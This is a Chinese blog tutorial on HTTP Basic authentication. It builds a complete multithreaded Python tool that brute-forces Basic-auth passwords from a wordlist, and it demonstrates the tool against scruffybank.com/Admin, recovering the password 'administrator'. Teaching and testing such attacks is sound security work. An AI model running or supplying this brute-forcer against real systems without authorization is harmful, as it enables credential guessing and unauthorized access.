相關文章:
本篇將會涉及:
HTTP 基本認證
對HTTP Basic認證進行密碼暴力攻擊測試
什么是HTTP 基本認證
HTTP基本認證(HTTP Basic Authentication)是HTTP協議中實現Web資源訪問控制的最簡單的認證手段。其通過添加header頭域的方式或者在URL中附帶參數的方式提供認證信息,并通過Base64編碼將認證信息進行編碼傳輸,最后由服務器接收到編碼后的字符進行解碼認證。
當我們訪問一個需要進行HTTP基本認證的網址時,其會通過響應一個401狀態碼,并返回一個認證框來接收用戶輸入的認證信息。如果我們填錯,服務器會繼續返回一個401狀態碼和認證框,如果認證成功,則返回200請求成功狀態碼。
HTTP基本認證一個優點是幾乎所有的現代瀏覽器都支持這種認證方式,非常的簡單方便,但是由于其技術特性,這種認證方式并不是很安全,現在亦多存在于內網環境下的站點。
其采用的Base64編碼加密,也是屬于“防君子不防小人”的加密。利用Python的base64模塊,我們就能夠輕松的進行加密和解密:
import base64
# 原始字符串
a = 'admin123'
# base64編碼加密
b = base64.b64encode(a.encode('utf-8'))
print(str(b,'utf-8'))
# base64編碼解密
c = str(b,'utf-8')
d = base64.b64decode(c)
print(str(d,'utf-8'))
返回的結果為:
YWRtaW4xMjM=
admin123
是不是感覺很坑爹,嗯,就是的。^_^
編寫Python密碼暴力測試器
了解了HTTP基本認證的一些概念,下面我們繼續使用Python編寫一個滲透測試密碼暴力破解器。
照常,我們引入相關的模塊
# coding:utf-8
import requests
import sys
import getopt
import time
from termcolor import colored
from threading import Thread
由于字典中的條目會有很多,所以我們設置一個全局變量,用來標識字典中的密碼是否有效:
global valid
valid = '1'
然后照例我們定義一個橫幅函數,裝飾我們的單調的命令行:
# 程序標識
def banner():
print("\n********************")
name = '''
______ _ _
|___ / (_) | |
/ / _ __ ___ _ ___| |_ ___ _ __
/ / | '_ ` _ \| / __| __/ _ \ '__|
/ /__| | | | | | \__ \ || __/ |
/_____|_| |_| |_|_|___/\__\___|_|
'''
print(name)
print("州的先生-密碼暴力測試器 v1.0")
print("***********************")
接著,仍然是程序的使用參數方法示例:
# 程序用法
def usage():
print("州的先生密碼暴力測試器使用方法:")
print(" -w:網址 (http://wensite.com/admin)")
print(" -u:用戶名")
print(" -t:線程數")
print(" -f:字典文件")
print("例子:bruteforcer.py -w http://zmister.com/admin -u admin -t 5 -f commom.txt")
接著就是我們的主類request_performer():
class request_performer(Thread):
def __init__(self,name,user,url):
Thread.__init__(self)
try:
self.password = name.split("\n")[0]
self.username = user
self.url = url
except Exception as e:
print(e)
def run(self):
global valid
if valid == '1':
try:
r = requests.get(self.url,auth=(self.username,self.password))
if r.status_code == 200:
valid = '0'
print("[+]發現密碼:"+ colored(self.password,'green'))
sys.exit()
else:
print("無效的密碼:"+ self.password)
i[0] = i[0] - 1
except Exception as e:
print(e)
最后是啟動線程的函數launcher_thread()和啟動程序的函數start():
def start(argv):
banner()
if len(sys.argv) < 5:
usage()
sys.exit()
try:
opts, args = getopt.getopt(argv, "u:w:f:t:")
except getopt.GetoptError:
print("錯誤的參數")
sys.exit()
for opt, args in opts:
if opt == '-u':
user = args
elif opt == '-w':
url = args
elif opt == '-f':
dicts = args
elif opt == '-t':
threads = args
try:
f = open(dicts, 'r')
passwords = f.readlines()
except:
print("打開文件錯誤:", dicts, "\n")
sys.exit()
launcher_thread(passwords,threads,user,url)
def launcher_thread(passwords,th,username,url):
global i
i = []
print("==============================================")
i.append(0)
while len(passwords):
if valid == '1':
try:
if i[0] < int(th):
passwd = passwords.pop(0)
i[0] = i[0]+1
thread = request_performer(passwd,username,url)
thread.start()
except KeyboardInterrupt:
print("用戶停止了程序運行。完成探測")
sys.exit()
thread.join()
return True
在命令行終端運行命令:
python passBruteForcer.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt
結果顯示發現了一個密碼“administrator”
我們打開http://www.scruffybank.com/Admin,使用用戶名admin和密碼administrator登錄,看看能否成功登錄。
結果認證成功進入了一個目錄內,說明我們的弱口令密碼暴力測試成功了。
下一篇,我們將改進我們的密碼暴力測試器,讓其支持更加安全的認證方式——HTTP摘要認證。
敬請期待!